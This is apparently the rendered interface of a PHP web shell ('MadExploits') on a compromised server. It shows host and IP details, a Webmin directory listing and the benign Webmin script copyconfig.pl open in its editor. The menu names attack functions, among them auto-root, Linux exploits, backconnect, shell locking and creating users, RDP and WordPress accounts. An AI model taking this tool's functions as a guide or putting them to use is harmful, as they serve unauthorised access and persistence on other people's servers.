Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
acl
[ DIR ]
drwxr-xr-x
adsl-client
[ DIR ]
drwxr-xr-x
apache
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
authentic-theme
[ DIR ]
drwxr-xr-x
backup-config
[ DIR ]
drwxr-xr-x
bacula-backup
[ DIR ]
drwxr-xr-x
bandwidth
[ DIR ]
drwxr-xr-x
bin
[ DIR ]
drwxr-xr-x
bind8
[ DIR ]
drwxr-xr-x
blue-theme
[ DIR ]
drwxr-xr-x
change-user
[ DIR ]
drwxr-xr-x
cluster-copy
[ DIR ]
drwxr-xr-x
cluster-cron
[ DIR ]
drwxr-xr-x
cluster-passwd
[ DIR ]
drwxr-xr-x
cluster-shell
[ DIR ]
drwxr-xr-x
cluster-software
[ DIR ]
drwxr-xr-x
cluster-useradmin
[ DIR ]
drwxr-xr-x
cluster-usermin
[ DIR ]
drwxr-xr-x
cluster-webmin
[ DIR ]
drwxr-xr-x
cpan
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxr-xr-x
dfsadmin
[ DIR ]
drwxr-xr-x
dhcpd
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
exim
[ DIR ]
drwxr-xr-x
exports
[ DIR ]
drwxr-xr-x
fail2ban
[ DIR ]
drwxr-xr-x
fdisk
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
filemin
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
firewall6
[ DIR ]
drwxr-xr-x
firewalld
[ DIR ]
drwxr-xr-x
fsdump
[ DIR ]
drwxr-xr-x
gray-theme
[ DIR ]
drwxr-xr-x
grub
[ DIR ]
drwxr-xr-x
heartbeat
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
idmapd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
inetd
[ DIR ]
drwxr-xr-x
init
[ DIR ]
drwxr-xr-x
inittab
[ DIR ]
drwxr-xr-x
ipfilter
[ DIR ]
drwxr-xr-x
ipfw
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
iscsi-client
[ DIR ]
drwxr-xr-x
iscsi-server
[ DIR ]
drwxr-xr-x
iscsi-target
[ DIR ]
drwxr-xr-x
iscsi-tgtd
[ DIR ]
drwxr-xr-x
jabber
[ DIR ]
drwxr-xr-x
jailkit
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
ldap-client
[ DIR ]
drwxr-xr-x
ldap-server
[ DIR ]
drwxr-xr-x
ldap-useradmin
[ DIR ]
drwxr-xr-x
logrotate
[ DIR ]
drwxr-xr-x
logviewer
[ DIR ]
drwxr-xr-x
lpadmin
[ DIR ]
drwxr-xr-x
lvm
[ DIR ]
drwxr-xr-x
mailboxes
[ DIR ]
drwxr-xr-x
mailcap
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mon
[ DIR ]
drwxr-xr-x
mount
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nis
[ DIR ]
drwxr-xr-x
openslp
[ DIR ]
drwxr-xr-x
package-updates
[ DIR ]
drwxr-xr-x
pam
[ DIR ]
drwxr-xr-x
pap
[ DIR ]
drwxr-xr-x
passwd
[ DIR ]
drwxr-xr-x
php-pear
[ DIR ]
drwxr-xr-x
phpini
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
ppp-client
[ DIR ]
drwxr-xr-x
pptp-client
[ DIR ]
drwxr-xr-x
pptp-server
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
qmailadmin
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
raid
[ DIR ]
drwxr-xr-x
ruby-gems
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwxr-xr-x
sarg
[ DIR ]
drwxr-xr-x
sendmail
[ DIR ]
drwxr-xr-x
servers
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
shorewall
[ DIR ]
drwxr-xr-x
shorewall6
[ DIR ]
drwxr-xr-x
smart-status
[ DIR ]
drwxr-xr-x
smf
[ DIR ]
drwxr-xr-x
software
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
squid
[ DIR ]
drwxr-xr-x
sshd
[ DIR ]
drwxr-xr-x
status
[ DIR ]
drwxr-xr-x
stunnel
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
syslog-ng
[ DIR ]
drwxr-xr-x
system-status
[ DIR ]
drwxr-xr-x
tcpwrappers
[ DIR ]
drwxr-xr-x
time
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
unauthenticated
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
useradmin
[ DIR ]
drwxr-xr-x
usermin
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
vgetty
[ DIR ]
drwxr-xr-x
virtual-server
[ DIR ]
drwxr-xr-x
virtualmin-awstats
[ DIR ]
drwxr-xr-x
virtualmin-git
[ DIR ]
drwxr-xr-x
virtualmin-htpasswd
[ DIR ]
drwxr-xr-x
virtualmin-init
[ DIR ]
drwxr-xr-x
virtualmin-registrar
[ DIR ]
drwxr-xr-x
virtualmin-slavedns
[ DIR ]
drwxr-xr-x
virtualmin-sqlite
[ DIR ]
drwxr-xr-x
webalizer
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
webmincron
[ DIR ]
drwxr-xr-x
webminlog
[ DIR ]
drwxr-xr-x
wuftpd
[ DIR ]
drwxr-xr-x
xinetd
[ DIR ]
drwxr-xr-x
xterm
[ DIR ]
drwxr-xr-x
LICENCE
1.48
KB
-rw-r--r--
LICENCE.ja
1.62
KB
-rw-r--r--
README.md
4.01
KB
-rw-r--r--
WebminCore.pm
7.78
KB
-rw-r--r--
acl_security.pl
4.51
KB
-rwxr-xr-x
changepass.pl
868
B
-rwxr-xr-x
chooser.cgi
7.21
KB
-rwxr-xr-x
config-aix
227
B
-rw-r--r--
config-cobalt-linux
264
B
-rw-r--r--
config-coherent-linux
264
B
-rw-r--r--
config-corel-linux
264
B
-rw-r--r--
config-debian-linux
264
B
-rw-r--r--
config-freebsd
256
B
-rw-r--r--
config-generic-linux
264
B
-rw-r--r--
config-gentoo-linux
264
B
-rw-r--r--
config-hpux
243
B
-rw-r--r--
config-irix
284
B
-rw-r--r--
config-lib.pl
10.82
KB
-rwxr-xr-x
config-macos
260
B
-rw-r--r--
config-mandrake-linux
278
B
-rw-r--r--
config-msc-linux
264
B
-rw-r--r--
config-netbsd
283
B
-rw-r--r--
config-open-linux
264
B
-rw-r--r--
config-openbsd
241
B
-rw-r--r--
config-openmamba-linux
264
B
-rw-r--r--
config-openserver
236
B
-rw-r--r--
config-osf1
266
B
-rw-r--r--
config-pardus-linux
264
B
-rw-r--r--
config-redhat-linux
264
B
-rw-r--r--
config-slackware-linux
280
B
-rw-r--r--
config-sol-linux
264
B
-rw-r--r--
config-solaris
417
B
-rw-r--r--
config-suse-linux
264
B
-rw-r--r--
config-syno-linux
364
B
-rw-r--r--
config-trustix-linux
264
B
-rw-r--r--
config-turbo-linux
264
B
-rw-r--r--
config-united-linux
264
B
-rw-r--r--
config-unixware
286
B
-rw-r--r--
config-windows
88
B
-rw-r--r--
config.cgi
1.55
KB
-rwxr-xr-x
config_save.cgi
1.64
KB
-rwxr-xr-x
copyconfig.pl
4.33
KB
-rwxr-xr-x
create-module.pl
3.82
KB
-rwxr-xr-x
date_chooser.cgi
2.19
KB
-rwxr-xr-x
defaultacl
98
B
-rw-r--r--
defaulttheme
16
B
-rw-r--r--
entities_map.txt
1.47
KB
-rw-r--r--
fastrpc.cgi
10.59
KB
-rwxr-xr-x
favicon.ico
14.73
KB
-rw-r--r--
feedback.cgi
6.37
KB
-rwxr-xr-x
feedback_form.cgi
3.45
KB
-rwxr-xr-x
group_chooser.cgi
7.36
KB
-rwxr-xr-x
help.cgi
2.94
KB
-rwxr-xr-x
index.cgi
5.61
KB
-rwxr-xr-x
install-module.pl
1.54
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
javascript-lib.pl
14.69
KB
-rwxr-xr-x
lang_list.txt
3.41
KB
-rw-r--r--
maketemp.pl
424
B
-rwxr-xr-x
mime.types
12.42
KB
-rw-r--r--
miniserv.pem
2.9
KB
-rw-r--r--
miniserv.pl
178.95
KB
-rwxr-xr-x
module_chooser.cgi
4.14
KB
-rwxr-xr-x
newmods.pl
1.25
KB
-rwxr-xr-x
os_list.txt
34.02
KB
-rw-r--r--
oschooser.pl
4.55
KB
-rwxr-xr-x
pam_login.cgi
2.83
KB
-rwxr-xr-x
password_change.cgi
7
KB
-rwxr-xr-x
password_form.cgi
1.3
KB
-rwxr-xr-x
perlpath.pl
571
B
-rwxr-xr-x
record-failed.pl
503
B
-rwxr-xr-x
record-login.pl
513
B
-rwxr-xr-x
record-logout.pl
516
B
-rwxr-xr-x
robots.txt
26
B
-rw-r--r--
rpc.cgi
4
KB
-rwxr-xr-x
run-postinstalls.pl
1
KB
-rwxr-xr-x
run-uninstalls.pl
1004
B
-rwxr-xr-x
safeacl
44
B
-rw-r--r--
session_login.cgi
3.55
KB
-rwxr-xr-x
setup-repos.sh
4.48
KB
-rwxr-xr-x
setup.bat
3.09
KB
-rw-r--r--
setup.pl
30.26
KB
-rwxr-xr-x
setup.sh
32
KB
-rwxr-xr-x
switch_skill.cgi
293
B
-rwxr-xr-x
switch_user.cgi
404
B
-rwxr-xr-x
thirdparty.pl
1.73
KB
-rwxr-xr-x
ui-lib.pl
82.48
KB
-rwxr-xr-x
update-from-repo.sh
14.8
KB
-rwxr-xr-x
uptracker.cgi
2.88
KB
-rwxr-xr-x
user_chooser.cgi
7.29
KB
-rwxr-xr-x
version
6
B
-rw-r--r--
web-lib-funcs.pl
330.73
KB
-rwxr-xr-x
web-lib.pl
907
B
-rwxr-xr-x
webmin-daemon
80
B
-rw-r--r--
webmin-debian-pam
104
B
-rw-r--r--
webmin-init
1.93
KB
-rwxr-xr-x
webmin-pam
101
B
-rw-r--r--
webmin-search-lib.pl
9.42
KB
-rwxr-xr-x
webmin-systemd
351
B
-rw-r--r--
webmin_search.cgi
2.63
KB
-rwxr-xr-x
xmlrpc.cgi
7.53
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : copyconfig.pl
#!/usr/bin/perl # copyconfig.pl # Copy the appropriate config file for each module into the webmin config # directory. If it is already there, merge in new directives. Called with # <osname> <osversion> <install dir> <config dir> <module>+ @ARGV >= 4 || die "usage: copyconfig.pl <os>[/real-os] <version>[/real-version] <webmin-dir> <config-dir> [module ...]"; $os = $ARGV[0]; $ver = $ARGV[1]; $wadir = $ARGV[2]; $confdir = $ARGV[3]; ($os, $real_os) = split(/\//, $os); ($ver, $real_ver) = split(/\//, $ver); $real_os =~ s/ /-/g; $real_ver =~ s/ /-/g; # Find all clones opendir(DIR, $wadir); foreach $f (readdir(DIR)) { if (readlink("$wadir/$f")) { @st = stat("$wadir/$f"); push(@{$clone{$st[1]}}, $f); } } closedir(DIR); # For each module, copy its config to itself and all clones @mods = @ARGV[4..$#ARGV]; foreach $m (@mods) { # Find any range-number config files. Search first by real OS type # (ie Ubuntu 6.1), then by internal OS code (ie. debian-linux 3.1) $srcdir = "$wadir/$m"; $rangefile = $real_rangefile = undef; foreach $ov ([ $real_os, $real_ver, \$real_rangefile ], [ $os, $ver, \$rangefile ]) { my ($o, $v, $rf) = @$ov; opendir(DIR, $srcdir); while($f = readdir(DIR)) { if ($f =~ /^config\-\Q$o\E\-([0-9\.]+)\-([0-9\.]+)$/ && $v >= $1 && $v <= $2) { $$rf = "$srcdir/$f"; } elsif ($f =~ /^config\-\Q$o\E\-([0-9\.]+)\-(\*|ALL)$/ && $v >= $1) { $$rf = "$srcdir/$f"; } elsif ($f =~ /^config\-\Q$o\E\-(\*|ALL)\-([0-9\.]+)$/ && $v <= $2) { $$rf = "$srcdir/$f"; } } closedir(DIR); } # Find the best-matching config file. Search first by real OS type, # then by internal OS code # Check for real OS match by name and version, version range, or # name only if (-r "$srcdir/config-$real_os-$real_ver") { $conf = "$srcdir/config-$real_os-$real_ver"; } elsif ($real_rangefile) { $conf = $real_rangefile; } elsif (-r "$srcdir/config-$real_os") { $conf = "$srcdir/config-$real_os"; } # Check for OS code match by name and version, version range, or name elsif (-r "$srcdir/config-$os-$ver") { $conf = "$srcdir/config-$os-$ver"; } elsif ($rangefile) { $conf = $rangefile; } elsif (-r "$srcdir/config-$os") { $conf = "$srcdir/config-$os"; } # Check for config for an entire OS class, like *-linux elsif ($os =~ /^(\S+)-(\S+)$/ && -r "$srcdir/config-ALL-$2") { $conf = "$srcdir/config-ALL-$2"; } elsif ($os =~ /^(\S+)-(\S+)$/ && -r "$srcdir/config-*-$2") { $conf = "$srcdir/config-*-$2"; } # Use default config file, if it exists elsif (-r "$srcdir/config") { $conf = "$srcdir/config"; } else { $conf = "/dev/null"; } @st = stat($srcdir); @copyto = ( @{$clone{$st[1]}}, $m ); foreach $c (@copyto) { if (!-d "$confdir/$c") { # New module .. need to create config dir mkdir("$confdir/$c", 0755); push(@newmods, $c); } undef(%oldconf); undef(%newconf); &read_file("$confdir/$c/config", \%oldconf); &read_file($conf, \%newconf); foreach $k (keys %oldconf) { $newconf{$k} = $oldconf{$k}; } &write_file("$confdir/$c/config", \%newconf); } } print join(" ", @newmods),"\n"; # read_file(file, &hash, [&order], [lowercase], [split-char]) # Fill the given hash reference with name=value pairs from a file. sub read_file { my ($file, $hash, $order, $lowercase, $split) = @_; $split = "=" if (!defined($split)); open(ARFILE, $file) || return 0; local $_; while(<ARFILE>) { s/\r|\n//g; my $cmt = index($_, "#"); my $eq = index($_, $split); if ($cmt != 0 && $eq >= 0) { my $n = substr($_, 0, $eq); my $v = substr($_, $eq+1); chomp($v); $hash->{$lowercase ? lc($n) : $n} = $v; push(@$order, $n) if ($order); } } close(ARFILE); return 1; } # write_file(file, &data-hash, [join-char]) # Write out the contents of a hash as name=value lines. sub write_file { my ($file, $data_hash, $join_char) = @_; my (%old, @order); my $join = defined($join_char) ? $join_char : "="; &read_file($file, \%old, \@order); open(ARFILE, ">$file") || die "open of $file failed : $!"; my %done; foreach $k (@order) { if (exists($data_hash->{$k}) && !$done{$k}++) { (print ARFILE $k,$join,$data_hash->{$k},"\n") || die "write to $file failed : $!"; } } foreach $k (keys %{$data_hash}) { if (!exists($old{$k}) && !$done{$k}++) { (print ARFILE $k,$join,$data_hash->{$k},"\n") || die "write to $file failed : $!"; } } close(ARFILE); }
Close